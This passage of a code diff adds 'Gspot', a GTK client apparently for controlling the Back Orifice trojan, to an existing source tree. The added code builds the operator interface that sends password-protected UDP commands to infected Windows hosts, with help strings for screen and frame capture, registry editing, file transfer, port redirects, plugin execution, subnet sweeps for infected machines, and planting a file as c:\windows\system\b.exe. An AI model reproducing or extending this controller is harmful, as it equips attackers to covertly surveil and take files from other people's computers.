(strcasecmp((char *) currentProbe, "LISTCAPS") == 0) label = gtk_label_new(listcapshelp); + else if (strcasecmp((char *) currentProbe, "CAPSCREEN") == 0) label = gtk_label_new(capscreenhelp); + else if (strcasecmp((char *) currentProbe, "CAPFRAME") == 0) label = gtk_label_new(capframehelp); + else if (strcasecmp((char *) currentProbe, "CAPAVI") == 0) label = gtk_label_new(capavihelp); + else if (strcasecmp((char *) currentProbe, "SOUND") == 0) label = gtk_label_new(soundhelp); + else if (strcasecmp((char *) currentProbe, "REDIRLIST") == 0) label = gtk_label_new(redirlisthelp); + else if (strcasecmp((char *) currentProbe, "REDIRDEL") == 0) label = gtk_label_new(redirdelhelp); + else if (strcasecmp((char *) currentProbe, "REDIRADD") == 0) label = gtk_label_new(rediraddhelp); + else if (strcasecmp((char *) currentProbe, "APPADD") == 0) label = gtk_label_new(appaddhelp); + else if (strcasecmp((char *) currentProbe, "APPDEL") == 0) label = gtk_label_new(appdelhelp); + else if (strcasecmp((char *) currentProbe, "APPLIST") == 0) label = gtk_label_new(applisthelp); + else if (strcasecmp((char *) currentProbe, "REGMAKEKEY") == 0) label = gtk_label_new(regmakekeyhelp); + else if (strcasecmp((char *) currentProbe, "REGDELKEY") == 0) label = gtk_label_new(regdelkeyhelp); + else if (strcasecmp((char *) currentProbe, "REGLISTKEYS") == 0) label = gtk_label_new(reglistkeyshelp); + else if (strcasecmp((char *) currentProbe, "REGLISTVALS") == 0) label = gtk_label_new(reglistvalshelp); + else if (strcasecmp((char *) currentProbe, "REGDELVAL") == 0) label = gtk_label_new(regdelvalhelp); + else if (strcasecmp((char *) currentProbe, "REGSETVAL") == 0) label = gtk_label_new(regsetvalhelp); + else if (strcasecmp((char *) currentProbe, "HTTPON") == 0) label = gtk_label_new(httponhelp); + else if (strcasecmp((char *) currentProbe, "HTTPOFF") == 0) label = gtk_label_new(httpoffhelp); + else if (strcasecmp((char *) currentProbe, "TCPSEND") == 0) label = gtk_label_new(tcpsendhelp); + else if (strcasecmp((char *) currentProbe, "TCPRECV") == 0) label = gtk_label_new(tcprecvhelp); + else if (strcasecmp((char *) currentProbe, "LOCKUP") == 0) label = gtk_label_new(lockuphelp); + else if (strcasecmp((char *) currentProbe, "PLUGINEXEC") == 0) label = gtk_label_new(pluginexechelp); + else if (strcasecmp((char *) currentProbe, "PLUGINKILL") == 0) label = gtk_label_new(pluginkillhelp); + else if (strcasecmp((char *) currentProbe, "PLUGINLIST") == 0) label = gtk_label_new(pluginlisthelp); + else { + snprintf ( labelTemp, 10, "No help for '%s'\n", (char *) currentProbe); + label = gtk_label_new(labelTemp); + } + + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (helpWindow)->vbox), label, TRUE, + TRUE, 0); + gtk_widget_show (label); + gtk_widget_show (helpWindow); + +} + +void open_session_file(GtkWidget *widget, + GtkFileSelection *fs) { + gint current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)); + sessionItems[current_session].session_file = + fopen(gtk_file_selection_get_filename (GTK_FILE_SELECTION (fs)), "w"); + if(!sessionItems[current_session].session_file) return; + save_session_file(NULL, NULL); + gtk_widget_destroy((GtkWidget *)fs); +} + +void save_session_file(GtkWidget *widget, + gpointer data) { + gint current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)); + gchar *session_contents; + + if(sessionItems[current_session].session_file == NULL) + save_session_file_as(NULL, NULL); + else { + session_contents = + gtk_editable_get_chars( GTK_EDITABLE(sessionItems[current_session].returnScreen), + 0, -1); + rewind(sessionItems[current_session].session_file); + fprintf(sessionItems[current_session].session_file, "%s", session_contents ); + g_free(session_contents); + } +} + +void save_session_file_as(GtkWidget *widget, + gpointer data) { + GtkWidget *f_dialog; + + f_dialog = gtk_file_selection_new("Gspot session file..."); + gtk_signal_connect (GTK_OBJECT (GTK_FILE_SELECTION (f_dialog)->ok_button), "clicked", + GTK_SIGNAL_FUNC(open_session_file), f_dialog ); + gtk_signal_connect_object (GTK_OBJECT (f_dialog), "destroy", + GTK_SIGNAL_FUNC(gtk_widget_destroy), GTK_OBJECT (f_dialog)); + gtk_signal_connect_object (GTK_OBJECT (GTK_FILE_SELECTION(f_dialog)->cancel_button), "clicked", + GTK_SIGNAL_FUNC(gtk_widget_destroy), GTK_OBJECT (f_dialog)); + gtk_widget_show(f_dialog); +} + +void create_gspot_interface(GtkWidget *widget, + gpointer data) { + gint current_session; + + num_tabs++; + current_session = num_tabs - 1; + if(sessionItems) { + sessionItems = realloc(sessionItems, sizeof(perSessionItem) * num_tabs); + memset(&sessionItems[num_tabs - 1], 0, sizeof(perSessionItem)); + } else { + sessionItems = malloc(sizeof(perSessionItem)); + memset(&sessionItems[0], 0, sizeof(perSessionItem)); + } + + sessionItems[current_session].bookmark = gtk_label_new("Unknown Host"); + + /* Create the table container */ + sessionItems[current_session].kitchenTable = gtk_table_new(4, 2, FALSE); + gtk_table_set_row_spacings( GTK_TABLE(sessionItems[current_session].kitchenTable), 2 ); + gtk_table_set_col_spacings( GTK_TABLE(sessionItems[current_session].kitchenTable), 2 ); + gtk_notebook_append_page( GTK_NOTEBOOK(pornoMag), + GTK_WIDGET(sessionItems[current_session].kitchenTable), + GTK_WIDGET(sessionItems[current_session].bookmark) ); + gtk_widget_show(sessionItems[current_session].kitchenTable); + + /* Exe button */ + sessionItems[current_session].exeBUTTon = gtk_button_new_with_label("Execute"); + gtk_signal_connect (GTK_OBJECT (sessionItems[current_session].exeBUTTon), "clicked", + GTK_SIGNAL_FUNC (execute), NULL); + gtk_table_attach( GTK_TABLE(sessionItems[current_session].kitchenTable), + sessionItems[current_session].exeBUTTon, 0, 1, 3, 4, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (sessionItems[current_session].exeBUTTon); + + /* Text area, not editable, but our returned info goes here. */ + sessionItems[current_session].hbox = gtk_hbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(sessionItems[current_session].kitchenTable), + sessionItems[current_session].hbox, 0, 2, 0, 1, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_FILL | GTK_EXPAND, 1, 1); + gtk_widget_show (sessionItems[current_session].hbox); + sessionItems[current_session].returnScreen = gtk_text_new(NULL, NULL); + gtk_text_set_editable(GTK_TEXT(sessionItems[current_session].returnScreen), FALSE); + gtk_text_set_word_wrap(GTK_TEXT(sessionItems[current_session].returnScreen), FALSE); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].hbox), + sessionItems[current_session].returnScreen, TRUE, TRUE, 0); + gtk_widget_show (sessionItems[current_session].returnScreen); + sessionItems[current_session].rsScroll = + gtk_vscrollbar_new (GTK_TEXT(sessionItems[current_session].returnScreen)->vadj); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].hbox), + sessionItems[current_session].rsScroll, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].rsScroll); + + /* Use vbox and label for text entries */ + sessionItems[current_session].vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(sessionItems[current_session].kitchenTable), + sessionItems[current_session].vbox, 0, 1, 1, 2, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (sessionItems[current_session].vbox); + sessionItems[current_session].arg1Label = gtk_label_new("Unused:"); + gtk_misc_set_alignment (GTK_MISC (sessionItems[current_session].arg1Label), 0, 0); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].arg1Label, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].arg1Label); + sessionItems[current_session].arg1Text = gtk_entry_new_with_max_length(ARGSIZE); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].arg1Text, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].arg1Text); + + sessionItems[current_session].vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(sessionItems[current_session].kitchenTable), + sessionItems[current_session].vbox, 1, 2, 1, 2, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (sessionItems[current_session].vbox); + sessionItems[current_session].arg2Label = gtk_label_new("Unused:"); + gtk_misc_set_alignment (GTK_MISC (sessionItems[current_session].arg2Label), 0, 0); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].arg2Label, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].arg2Label); + sessionItems[current_session].arg2Text = gtk_entry_new_with_max_length(ARGSIZE); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].arg2Text, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].arg2Text); + + /* Text entries for Host and Port */ + sessionItems[current_session].vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(sessionItems[current_session].kitchenTable), + sessionItems[current_session].vbox, 0, 1, 2, 3, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (sessionItems[current_session].vbox); + sessionItems[current_session].hostLabel = gtk_label_new("Host:"); + gtk_misc_set_alignment (GTK_MISC (sessionItems[current_session].hostLabel), 0, 0); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].hostLabel, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].hostLabel); + sessionItems[current_session].hostText = gtk_entry_new_with_max_length(ARGSIZE); + gtk_entry_set_text(GTK_ENTRY(sessionItems[current_session].hostText), "127.0.0.1"); + strcpy(sessionItems[current_session].oldhost, "127.0.0.1"); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].hostText, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].hostText); + + sessionItems[current_session].vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(sessionItems[current_session].kitchenTable), + sessionItems[current_session].vbox, 1, 2, 2, 3, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (sessionItems[current_session].vbox); + sessionItems[current_session].portLabel = gtk_label_new("Port:"); + gtk_misc_set_alignment (GTK_MISC (sessionItems[current_session].portLabel), 0, 0); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].portLabel, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].portLabel); + sessionItems[current_session].portText = gtk_entry_new_with_max_length(5); + sprintf(buff, "%i", PORT); + gtk_entry_set_text(GTK_ENTRY(sessionItems[current_session].portText), buff); + strcpy(sessionItems[current_session].oldport, buff); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].portText, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].portText); + + sessionItems[current_session].vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(sessionItems[current_session].kitchenTable), + sessionItems[current_session].vbox, 1, 2, 3, 4, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (sessionItems[current_session].vbox); + sessionItems[current_session].passLabel = gtk_label_new("Password:"); + gtk_misc_set_alignment (GTK_MISC (sessionItems[current_session].passLabel), 0, 0); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].passLabel, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].passLabel); + sessionItems[current_session].passText = gtk_entry_new_with_max_length(ARGSIZE); + gtk_box_pack_start(GTK_BOX(sessionItems[current_session].vbox), + sessionItems[current_session].passText, FALSE, FALSE, 0); + gtk_widget_show (sessionItems[current_session].passText); + +} +/* +void destroy_gspot_interface(GtkWidget *widget, + gpointer data) { + GtkWidget *confirmWindow; + GtkWidget *okBUTTon, *dontBUTTon; + GtkWidget *label; + gint current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)); + + if(sessionItems[current_session].session_file) { + confirmWindow = gtk_dialog_new (); + gtk_container_border_width (GTK_CONTAINER (confirmWindow), 10); + + okBUTTon = gtk_button_new_with_label(" Save "); + gtk_signal_connect (GTK_OBJECT (okBUTTon), "clicked", + GTK_SIGNAL_FUNC (remove_gspot_interface), "SAVE"); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (confirmWindow)->action_area), okBUTTon, + TRUE, TRUE, 0); + gtk_widget_show (okBUTTon); + + dontBUTTon = gtk_button_new_with_label(" Don't "); + gtk_signal_connect (GTK_OBJECT (dontBUTTon), "clicked", + GTK_SIGNAL_FUNC (remove_gspot_interface), "DONT"); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (confirmWindow)->action_area), dontBUTTon, + TRUE, TRUE, 0); + gtk_widget_show (dontBUTTon); + + label = gtk_label_new(" +Did you want to save this session before exiting? +"); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (confirmWindow)->vbox), label, TRUE, + TRUE, 0); + + gtk_widget_show (label); + gtk_widget_show (confirmWindow); + } else { + remove_gspot_interface(NULL, NULL); + } + +} +*/ +void destroy_gspot_interface(GtkWidget *widget, + gpointer data) { + gint current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)); + gint i = current_session; + /* if(widget->parent->parent->parent) + gtk_widget_destroy(GTK_WIDGET(widget->parent->parent->parent)); + */ + if(data && (strcmp(data, "SAVE") == 0) ) + save_session_file(NULL, NULL); + if(sessionItems[current_session].session_file) + fclose(sessionItems[current_session].session_file); + while(i < num_tabs) { + memcpy(&sessionItems[i], &sessionItems[i+1], sizeof(perSessionItem)); + i++; + } + num_tabs--; + sessionItems = realloc(sessionItems, sizeof(perSessionItem) * num_tabs); + gtk_notebook_remove_page(GTK_NOTEBOOK(pornoMag), + current_session); +} + + +int main( int argc, char *argv[] ) +{ + int clientport = 0; + struct linger linger; + int bufsize; + gint pidx = 0; + gint nmenu_items; + GtkWidget *window; + GtkWidget *vbox; + GtkWidget *menubar; + GtkWidget *windowPane; + GtkWidget *probeScroll; + GtkWidget *probeList; + GtkWidget *helpBUTTon; + GtkItemFactoryEntry menu_items[] = { + { "/_File", NULL, NULL, 0, "" }, + { "/File/_Add session", "N", create_gspot_interface, 0, NULL }, + { "/File/_Close session", NULL, destroy_gspot_interface, 0, NULL }, + { "/File/sep1", NULL, NULL, 0, "" }, + { "/File/_Save session", "S", save_session_file, 0, NULL }, + { "/File/Save session _As", NULL, save_session_file_as, 0, NULL }, + { "/File/sep2", NULL, NULL, 0, "" }, + { "/File/Quit", "Q", destroy,0, NULL }, + { "/_Scripting", NULL, NULL, 0, "" }, + { "/Scripting/Start recording", NULL, start_recording, 0, NULL}, + { "/Scripting/Stop recording", NULL, stop_recording_dialog, 0, NULL}, + { "/Scripting/sep1", NULL, NULL, 0, "" }, + { "/Scripting/Run Gspot script", NULL, run_script_dialog, 0, NULL }, + { "/_Help", NULL, NULL, 0, "" }, + { "/_Help/About", NULL, aboutDialog, 0, NULL }, + }; + GtkItemFactory *item_factory; + GtkAccelGroup *accel_group; + + gtk_init (&argc, &argv); + + /* Initialize the UDP port */ + host = 0; + g_packet = 0; + g_password[0] = 0; + strcpy(cwd, "c:\\"); + if ( (udpsock = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { + perror("socket: "); + return(1); + } + memset(&sockaddr, 0, sizeof(sockaddr)); + sockaddr.sin_family = AF_INET; + sockaddr.sin_port = htons((u_short)clientport); + if ( (bind(udpsock, (struct sockaddr *)&sockaddr, sizeof(sockaddr))) < 0) { + perror("bind: "); + return(1); + } + linger.l_onoff = 0; /* dont linger */ + setsockopt(udpsock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger) ); + + /* Create the window */ + window = gtk_window_new (GTK_WINDOW_TOPLEVEL); + gtk_window_set_title (GTK_WINDOW (window), "Gspot"); + gtk_container_border_width (GTK_CONTAINER (window), 0); + gtk_widget_set_usize (GTK_WIDGET (window), 500, 400); + gtk_signal_connect (GTK_OBJECT (window), "delete_event", + GTK_SIGNAL_FUNC (destroy), NULL); + gtk_signal_connect (GTK_OBJECT (window), "destroy", + GTK_SIGNAL_FUNC (destroy), NULL); + + /* Add a vbox that will contain a menubar and a pane */ + vbox = gtk_vbox_new(FALSE, 0); + gtk_container_add (GTK_CONTAINER (window), vbox); + gtk_widget_show(vbox); + + /* Create a menubar */ + accel_group = gtk_accel_group_new (); + nmenu_items = sizeof (menu_items) / sizeof (menu_items[0]); + item_factory = gtk_item_factory_new (GTK_TYPE_MENU_BAR, "
", + accel_group); + gtk_item_factory_create_items (item_factory, nmenu_items, menu_items, NULL); + gtk_accel_group_attach (accel_group, GTK_OBJECT (window)); + menubar = gtk_item_factory_get_widget (item_factory, "
"); + gtk_box_pack_start(GTK_BOX(vbox), menubar, FALSE, TRUE, 0); + gtk_widget_show(menubar); + + /* Create the paned window */ + windowPane = gtk_hpaned_new(); + gtk_box_pack_start(GTK_BOX(vbox), windowPane, TRUE, TRUE, 0); + gtk_widget_show(windowPane); + gtk_paned_set_gutter_size( GTK_PANED(windowPane), + 15); + + /* Another vbox for the clist and help button */ + vbox = gtk_vbox_new(FALSE, 0); + gtk_paned_add1(GTK_PANED(windowPane), vbox); + gtk_widget_show(vbox); + + /* Use a CList item with one column for the commands */ + probeScroll = gtk_scrolled_window_new( NULL, NULL ); + gtk_scrolled_window_set_policy( GTK_SCROLLED_WINDOW (probeScroll), + GTK_POLICY_AUTOMATIC, + GTK_POLICY_AUTOMATIC); + gtk_box_pack_start(GTK_BOX(vbox), probeScroll, TRUE, TRUE, 0); + gtk_widget_set_usize (GTK_WIDGET (probeScroll), 175, 0); + gtk_widget_show(probeScroll); + + probeList = gtk_clist_new(1); + gtk_clist_set_column_title(GTK_CLIST(probeList), 0, "Commands" ); + gtk_clist_column_titles_show(GTK_CLIST(probeList)); + gtk_clist_column_titles_passive(GTK_CLIST(probeList)); + gtk_clist_set_selection_mode( GTK_CLIST(probeList), GTK_SELECTION_SINGLE ); + gtk_clist_set_shadow_type( GTK_CLIST(probeList), GTK_SHADOW_ETCHED_IN); + for(pidx = 0; probeArray[pidx].Name != NULL; pidx++) { + gtk_clist_append( (GtkCList*) probeList, &probeArray[pidx].Name); + } + gtk_signal_connect (GTK_OBJECT(probeList), "select_row", + GTK_SIGNAL_FUNC(select_probe), NULL); + gtk_container_add( GTK_CONTAINER(probeScroll), probeList); + gtk_widget_show(probeList); + + helpBUTTon = gtk_button_new_with_label("Help"); + gtk_signal_connect (GTK_OBJECT (helpBUTTon), "clicked", + GTK_SIGNAL_FUNC (helpDialog), NULL); + gtk_box_pack_start(GTK_BOX(vbox), helpBUTTon, FALSE, TRUE, 0); + gtk_widget_show (helpBUTTon); + + /* Set up the notebook and add one gspot_interface */ + pornoMag = gtk_notebook_new(); + gtk_notebook_set_scrollable( GTK_NOTEBOOK(pornoMag), + TRUE ); + gtk_paned_add2(GTK_PANED(windowPane), pornoMag); + gtk_widget_show(pornoMag); + + create_gspot_interface(NULL, NULL); + + /* Show the window and start running */ + gtk_widget_show (window); + gtk_main(); + + return(0); + +} diff -ruN bo/helpstrings.h bo_gspot/helpstrings.h --- bo/helpstrings.h Wed Aug 5 21:35:31 1998 +++ bo_gspot/helpstrings.h Sun May 30 19:35:55 1999 @@ -1,3 +1,7 @@ +char l_shellhelp[] = "\ + L_SHELL - Executes a local shell command. + Output is printed to standard out, not to + the Gspot window"; char hosthelp[] = "\ HOST - Sets the target host and port\n\ @@ -11,7 +15,7 @@ char pinglisthelp[] = "\ PINGLIST - Pings a lits of ip addresses in a text file\n\ usage: pinglist localfilename\n\ - example: pinglist C:\bo\\bohosts"; + example: pinglist /home/uname/bo/bohosts"; char sweephelp[] = "\ SWEEP - Sweeps a subnet with ping packets\n\ @@ -21,7 +25,7 @@ char sweeplisthelp[] = "\ SWEEPLIST - Sweeps a list of subnets in a text file\n\ usage: sweeplist localfilename\n\ - example: sweeplist c:\\bo\\dialups"; + example: sweeplist /home/uname/bo/dialups"; char shellhelp[] = "SHELL - Opens a command shell"; @@ -49,13 +53,13 @@ char gethelp[] = "\ GET - Transfers a file from remote host to the local computer\n\ usage: get remotefilename localfilename\n\ - example: get c:\\warez\\photoshop.zip c:\\files\\photoshop5.zip\n\ + example: get c:\\warez\\photoshop.zip /home/uname/files/photoshop5.zip\n\ note: If localfilename is not provided file is stored in current local directory"; char puthelp[] = "\ PUT - Transfers a file from local computer to the remote host\n\ usage: put localfilename remotefilename\n\ - example: put c:\\bo\\boupdate.exe c:\\windows\\system\\b.exe\n\ + example: put /home/uname/bo/boupdate.exe c:\\windows\\system\\b.exe\n\ note: If remotefilename is not provided file is stored in current remote directory"; char copyhelp[] = "\